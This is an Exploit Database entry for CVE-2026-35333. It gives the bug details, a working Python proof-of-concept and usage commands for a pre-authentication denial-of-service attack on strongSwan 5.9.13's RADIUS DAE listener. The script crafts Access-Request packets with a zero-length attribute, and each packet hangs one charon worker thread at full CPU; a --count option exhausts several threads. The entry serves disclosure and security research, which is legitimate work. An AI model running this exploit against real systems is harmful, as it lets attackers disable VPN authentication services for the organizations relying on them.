- What: Denial of Service vulnerability in strongSwan 5.9.13
- Impact: Could crash the service with malicious packets
This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING strongSwan 5.9.13 - DoS EDB-ID: 52586 CVE: 2026-35333 EDB Verified: Author: LUKAS JOHANNES MOELLER Type: DOS Exploit: / Platform: MULTIPLE Date: 2026-05-29 Vulnerable App: # Exploit Title: strongSwan 5.9.13 - DoS # Date: 2026-05-13 # Exploit Author: Lukas Johannes Moeller # Vendor Homepage: https://www.strongswan.org/ # Software Link: https://download.strongswan.org/strongswan-5.9.13.tar.bz2 # Version: strongSwan <= 5.9.13 (eap-radius plugin built with DAE enabled) # Tested on: Debian 12 bookworm, charon 5.9.13 built from upstream tarball, # strongswan.conf charon.plugins.eap-radius.dae.enable = yes, # listener bound on UDP/3799 # CVE: CVE-2026-35333 # References: # https://github.com/strongswan/strongswan/commit/e067d24293 # https://nvd.nist.gov/vuln/detail/CVE-2026-35333 # https://github.com/JohannesLks/CVE-2026-35333 # # Description: # attribute_enumerate() in src/libradius/radius_message.c walks the # attribute list of a RADIUS message without rejecting an attribute # whose length byte is 0. For length == 0, this->next never advances # and the per-attribute length computation `this->next->length - # sizeof(rattr_t)` underflows to (size_t)-2. The result is an # infinite loop pegging one charon worker thread at 100% CPU. # # The reachability detail that turns this into a pre-auth bug: # radius_message_t::verify() uses the SAME broken iterator to find # Message-Authenticator BEFORE the Response-Authenticator MD5 check # is applied. For RADIUS code 1 (Access-Request) verify() skips the # MD5 check entirely. So a malformed Access-Request with a single # zero-length attribute as its first attribute traps the worker # thread without any knowledge of the DAE shared secret. # # N packets exhaust N worker threads -> full DAE denial of service. # # Usage: # python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 # python3 strongswan-5.9.13-radius-dae-dos.py --target 10.0.0.1 --count 8 # # Observe on the target: # ps -L -p $(pidof charon) -o tid,pcpu,stat,wchan:25,cmd # -> one or more threads in state R at ~100% CPU, never returning. # # Disclaimer: # For authorized testing and defensive research only. Do not use # against systems you do not own or have explicit permission to test. import argparse import os import socket import struct import sys import time ACCESS_REQUEST = 1 RAT_USER_NAME = 1 def build_zero_length_attr_packet() -> bytes: identifier = os.urandom(1)[0] authenticator = os.urandom(16) # 20-byte RADIUS header + 2-byte attribute (type=User-Name, length=0) total_len = 22 header = struct.pack("!BBH16s", ACCESS_REQUEST, identifier, total_len, authenticator) attribute = struct.pack("!BB", RAT_USER_NAME, 0) return header + attribute def send_packet(packet: bytes, target: str, port: int, wait: float) -> None: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(wait) sock.sendto(packet, (target, port)) print(f"[+] sent {len(packet)} bytes to {target}:{port}/udp") try: data, addr = sock.recvfrom(4096) print(f"[-] unexpected response {len(data)} bytes from {addr}:" f" {data[:32].hex()}") except socket.timeout: print(f"[+] no response within {wait:.1f}s -- expected for hung worker") finally: sock.close() def main() -> int: p = argparse.ArgumentParser( description="CVE-2026-35333 strongSwan RADIUS DAE pre-auth DoS" ) p.add_argument("--target", required=True, help="DAE listener IPv4 address (e.g. 10.0.0.1)") p.add_argument("--port", type=int, default=3799, help="DAE listener UDP port (default: 3799)") p.add_argument("--count", type=int, default=1, help="Number of crafted packets to send (default: 1)") p.add_argument("--wait", type=float, default=2.0, help="Per-packet response timeout in seconds (default: 2.0)") args = p.parse_args() payload = build_zero_length_attr_packet() for i in range(args.count): print(f"\n[*] crafted packet #{i + 1}: Access-Request with " "zero-length User-Name attribute") send_packet(payload, args.target, args.port, args.wait) time.sleep(0.2) print("\n[+] done; expected effect: one charon worker thread per packet " "stuck at 100% CPU.") print(" Verify on the target with: ps -L -p $(pidof charon) " "-o tid,pcpu,stat,wchan:25,cmd") return 0 if __name__ == "__main__": sys.exit(main()) Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.